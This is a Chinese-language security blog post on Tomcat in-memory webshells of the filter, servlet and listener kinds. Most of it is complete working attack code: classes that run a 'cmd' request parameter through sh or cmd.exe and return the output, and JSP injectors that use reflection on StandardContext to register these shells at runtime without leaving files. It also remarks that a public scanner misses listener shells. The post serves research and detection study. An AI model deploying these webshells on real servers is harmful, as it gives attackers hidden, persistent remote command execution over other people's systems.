请问您今天要来点兔子还是内存马呢?

  • A+
所属分类:安全开发 安全文章

兔子的种类有四种,大兔子、小兔子、肥兔子、瘦兔子。其中肥兔子的头最好吃。

内存马的形式有三种,filter、servlet、listener,优先级为listener>filter>servlet。

请问您今天要来点兔子还是内存马呢?

最近超级无敌忙,差点又忘了自己有个公众号。

发一篇库存大家一起学习一下叭。


filter内存马

直接本地复现。

pom.xml中加入。

 配置Filter的类路径        <dependency>            <groupId>javax.servlet</groupId>            <artifactId>javax.servlet-api</artifactId>            <version>3.1.0</version>        </dependency>
配置HelloFilter拦截的Servlet的映射路径 <!-- https://mvnrepository.com/artifact/jstl/jstl --> <dependency> <groupId>jstl</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency>

否则新建不了filter。

新建一个filter类。

package study;
import javax.servlet.*;import javax.servlet.annotation.WebFilter;import javax.servlet.http.HttpServletRequest;import java.io.IOException;import java.io.InputStream;import java.util.Scanner;
@WebFilter(filterName = "Filter")public class Filter implements javax.servlet.Filter { public void destroy() { System.out.println("destroy"); }
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException { HttpServletRequest req1 = (HttpServletRequest) req; if (req1.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req1.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); return; } chain.doFilter(req, resp); //放行 }
public void init(FilterConfig config) throws ServletException { System.out.println("init"); }
}

在web.xml加入过滤器filter以及filter-mapping。

这里就是指定需要拦截的内容。

# 对应filterDefs<filter>    <filter-name>FirstFilter</filter-name>    <filter-class>study.Filter</filter-class></filter>
# 对应filterMaps<filter-mapping> <filter-name>FirstFilter</filter-name> <url-pattern>/yodidi</url-pattern></filter-mapping>

运行tomcat,就可以生成filter的内存马。

在servlet3.0开始。

提供了动态注册filter、Servlet。

先看filter如何被添加。

addfilter方法源自org.apache.catalina.core.ApplicationContextFacade。

请问您今天要来点兔子还是内存马呢?

追踪addfilter方法。

请问您今天要来点兔子还是内存马呢?请问您今天要来点兔子还是内存马呢?

442行判断context容器的状态。

如果不是before_start即初始化状态。

就会报错。

但是这里addFilter主要还是新建了一个filterDef。

然后调用449行的this.context.addFilterDef(filterDef)用反射方式进行添加。

tomcat的filter的创建源自StandardWrapperValve的createFilterChain方法。

请问您今天要来点兔子还是内存马呢?

跟进createFilterChain方法。

请问您今天要来点兔子还是内存马呢?

首先先从StandardContext对象中获取filterMaps 。

然后循环遍历filterMaps。

filterMaps有自己加进去的过滤器(/yodidi)。

最后再添加到filterChain(过滤链)。

方法返回filterChain。

请问您今天要来点兔子还是内存马呢?

当构造好了filterDef。

但是并没有把它加进filterMaps里。

这里进行手动添加进filterMaps。

(filterDefs存放了filter的定义,比如名称跟对应的类)。

standardContext.addFilterMapBefore()这个方法是将创建的filterMap放置在第一位。

如果不在第一位。

可能网站原有的其他过滤器根据filterChain过滤链从头到尾执行的顺序。

所以放到最前面是有必要的哦!

跟进addFilterMapBefore。

请问您今天要来点兔子还是内存马呢?

跟进addBefore。

请问您今天要来点兔子还是内存马呢?

能看到利用了arraycopy进行了数组的复制。

arraycopy直接将传入的filterMap放在了首位。

还需要一步。

将filter添加进filterConfigs当中。

(filterConfigs除了存放了filterDef还保存了当时的Context)。

而这里。

可以在StandardContext#filterStart看到遍历了filterDefs当中filterName。

然后把对应的name添加到filterConfigs。

请问您今天要来点兔子还是内存马呢?

那就可以在构造器实例化的时候。

把filterConfig 加入到 filterConfigs 当中。

方法还是反射。

完整jsp代码生成内存马在后面。


servlet内存马

新建一个servlet类。

package study;
import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.util.Scanner;
public class servletDemo implements Servlet {
public void init(ServletConfig servletConfig) throws ServletException { }
public ServletConfig getServletConfig() { return null; }
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); }
public String getServletInfo() { return null; }
public void destroy() {}}

在web.xml中加入。

<servlet>  <servlet-name>servletDemo</servlet-name>  <servlet-class>study.servletDemo</servlet-class></servlet>
<servlet-mapping> <servlet-name>servletDemo</servlet-name> <url-pattern>/yodidi3</url-pattern></servlet-mapping>

运行tomcat,即可生成servlet的内存马。

tomcat的一个Wrapper代表一个Servlet。

而之前在动态加载filter的时候。

通过standardContext里的addFilterDef以及addFilterMap来完成了filter的动态添加。

这里standardContext的createWrapper方法也能进行Wrapper的动态添加。

新建的Wrapper对象并不在StandardContext的children里。

我们可以通过StandardContext#addChild 把它加到 StandardContext 的children里。

完整jsp代码生成内存马在后面。


①用jsp进行注入listener内存马

<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%    Object obj = request.getServletContext();    java.lang.reflect.Field field = obj.getClass().getDeclaredField("context");    field.setAccessible(true);    ApplicationContext applicationContext = (ApplicationContext) field.get(obj);    //获取ApplicationContext    field = applicationContext.getClass().getDeclaredField("context");    field.setAccessible(true);    StandardContext standardContext = (StandardContext) field.get(applicationContext);    //获取StandardContext    ListenerDemo listenerdemo = new ListenerDemo();    //创建能够执行命令的Listener    standardContext.addApplicationEventListener(listenerdemo);%><%!    public class ListenerDemo implements ServletRequestListener {        public void requestDestroyed(ServletRequestEvent sre) {            System.out.println("requestDestroyed");        }        public void requestInitialized(ServletRequestEvent sre) {            System.out.println("requestInitialized");            try{                String cmd = sre.getServletRequest().getParameter("cmd");                Runtime.getRuntime().exec(cmd).getInputStream();
}catch (Exception e ){ //e.printStackTrace(); } } }%>


访问jsp会产生内存马。

如图:

访问之前。

执行命令失败辽。

?cmd=open/System/Applications/Calculator.app/Contents/MacOS/Calculator

请问您今天要来点兔子还是内存马呢?

访问之后。请问您今天要来点兔子还是内存马呢?

再次执行命令

请问您今天要来点兔子还是内存马呢?


②用jsp进行注入filter内存马

大致流程如下:

  1. 创建恶意filter。

  2. 用filterDef对filter进行封装。

  3. 将filterDef添加到filterDefs与filterConfigs中(获取filterDef为filterConfig,将filterConfig添加进filterConfigs)。

  4. 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中。

<%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.Context" %><%@ page import="java.util.HashMap" %><%@ page import="java.lang.reflect.Field" %>
<%! // 创建恶意filter类 Filter filter = new Filter(){ @Override public void init(FilterConfig arg0) throws ServletException { }
@Override public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) arg0; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; arg1.getWriter().write(output); arg1.getWriter().flush(); return; } arg2.doFilter(arg0, arg1); }
@Override public void destroy() {
}};%>

<% FilterDef filterDef = new FilterDef(); String didi = "yodidi1filter";
// 用filterDef对filter进行封装 filterDef.setFilterName(f0ng); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter);
// 获取context org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
// 将filterDef添加到filterDefs standardCtx.addFilterDef(filterDef);
// 创建一个新的filterMap将URL跟filter进行绑定,并添加到filterMaps中 FilterMap m = new FilterMap(); m.setFilterName(filterDef.getFilterName()); m.setDispatcher(DispatcherType.REQUEST.name()); m.addURLPattern("/yodidi1");

// 通过反射,在构造器实例化的时候把 filterConfig 加入到 filterConfigs 当中 // 通过反射获取filterConfig对象 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardCtx, filterDef);
// 通过反射获取filterConfigs对象 Field field = StandardContext.class.getDeclaredField("filterConfigs"); field.setAccessible(true); HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>)field.get(standardCtx); filterConfigs.put(didi, filterConfig);%>

访问jsp即会产生内存马。

没访问jsp之前。

(这里用到的工具来源🔗https://github.com/c0ny1/java-memshell-scanner)

请问您今天要来点兔子还是内存马呢?

请问您今天要来点兔子还是内存马呢?

访问jsp以后。

请问您今天要来点兔子还是内存马呢?

恶意filter出来辽。

请问您今天要来点兔子还是内存马呢?

命令执行完成。

请问您今天要来点兔子还是内存马呢?


③用jsp进行注入servlet内存马

大致流程如下:

  1. 创建恶意Servlet

  2. 用Wrapper对其进行封装

  3. 添加封装后的恶意Wrapper到StandardContext的children当中

  4. 添加ServletMapping将访问的URL和Servlet进行绑定

<%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.io.PrintWriter" %>
<% // 创建恶意Servlet Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException {
} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() {
} };
%><% // 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
// 用Wrapper对其进行封装 org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName("yodidi"); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName());
// 添加封装后的恶意Wrapper到StandardContext的children当中 standardCtx.addChild(newWrapper);
// 添加ServletMapping将访问的URL和Servlet进行绑定 standardCtx.addServletMapping("/l1nk3r","yodidi");%>

访问jsp即会产生内存马!

访问之前。

请问您今天要来点兔子还是内存马呢?

请问您今天要来点兔子还是内存马呢?

访问之后。

请问您今天要来点兔子还是内存马呢?

恶意servlet就出来了!

请问您今天要来点兔子还是内存马呢?请问您今天要来点兔子还是内存马呢?

请问您今天要来点兔子还是内存马呢?

盘点一下遇到的坑:

1.在进行jsp的filter注入内存马的时候。

在构造器实例化的时候把filterConfig加入到filterConfigs当中。

需要进行反射获取到filterConfigs。

当然filterConfig也需要通过反射获取。

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardCtx, filterDef);
Field field = StandardContext.class.getDeclaredField("filterConfigs");field.setAccessible(true);HashMap<String, ApplicationFilterConfig> filterConfigs = (HashMap<String, ApplicationFilterConfig>)field.get(standardCtx);

2.会遇到Unable to compile class for JSP报错。请问您今天要来点兔子还是内存马呢?

美女的第一反应当然是百度搜索的,但是百度搜出来的全部没用(无情诋毁一波)。

有说标签的,有说jdk版本的,切换来切换去,还是没解决问题。

后来仔细看报错,嘻嘻发现报错信息是import了一个package,删去就可以了。

3.如果需要调试Tomcat的话,在pom.xml中加入:

<dependency>  <groupId>org.apache.tomcat</groupId>  <artifactId>tomcat-catalina</artifactId>  <version>8.5.3</version>  <scope>provided</scope></dependency>


辣就不需要用本地的Tomcat了

4.这里大佬的工具好像只能查杀Servlet和filter的,对于listener的内存马没有处理办法,会不会listener的内存马更为隐蔽,这个问题还需要后面再去学习学习。


请问您今天要来点兔子还是内存马呢?放上参考🔗(我是一个好孩子):

https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652474966&idx=1&sn=1c75686865f7348a6b528b42789aeec8&chksm=f2582de5c52fa4f30bdccbf8263c53c1d034a3d34efdce180ae6eb0b007e84bac53d1c713e58&mpshare=1&scene=24&srcid=1203mPmLiRrx7jwKjUnHj7Oj&sharer_sharetime=1606965116595&sharer_shareid=29bf660e8cd9bc3e5265cd30046762d4#rd

https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w

http://foreversong.cn/archives/1547


另外:我们组招人辽!!社招也要!大佬们找我投简历哇!

请问您今天要来点兔子还是内存马呢?

请问您今天要来点兔子还是内存马呢?


请多多指教

peko!!!

本文始发于微信公众号(WhITECat安全团队):请问您今天要来点兔子还是内存马呢?

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: